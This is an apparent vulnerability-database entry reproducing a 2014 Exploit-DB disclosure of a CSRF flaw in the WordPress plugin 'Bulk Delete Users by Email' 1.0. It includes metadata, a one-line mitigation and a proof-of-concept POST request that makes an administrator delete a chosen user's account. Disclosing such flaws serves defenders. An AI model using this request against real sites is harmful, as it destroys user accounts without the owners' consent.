Bulk Delete Users by Email, Wordpress Plugin 1.0 - CSRF

vendor:

Bulk Delete Users by Email

by:

Fikri Fadzil

8,8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: Bulk Delete Users by Email

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:speakdigital:bulk_delete_users_by_email:1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: PHP

2014

Bulk Delete Users by Email, WordPress Plugin 1.0 – CSRF

This plugin will allow administrator to delete user(s) account by entering their email address. By forcing the administrator to send a POST request to the URL http://localhost/blog/wp-admin/admin.php?page=bulk-delete-users-by-email/plugin.php with the request de-text=<victim email>&submit=Search+and+Delete, the user with the given email address will be deleted.

Mitigation:

Ensure that the application is properly validating user input and that all requests are verified to be coming from a trusted source.

Source

Exploit-DB raw data:

# Exploit Title: Bulk Delete Users by Email, Wordpress Plugin 1.0 - CSRF
# Google Dork: N/A
# Date: 05.09.2014
# Exploit Author: Fikri Fadzil - fikri.fadzil@impact-alliance.org
# Vendor Homepage - http://www.speakdigital.co.uk/
# Software Link: https://wordpress.org/plugins/bulk-delete-users-by-email/
# Version: 1.0
# Tested on: PHP


Description:
This plugin will allow administrator to delete user(s) account by entering
their email address.

Proof of Concept
1. Force the administrator to send below request:

URL :
http://localhost/blog/wp-admin/admin.php?page=bulk-delete-users-by-email/plugin.php
METHOD : POST
REQUEST : de-text=<victim email>&submit=Search+and+Delete

* As the result, user with the given email address will be deleted.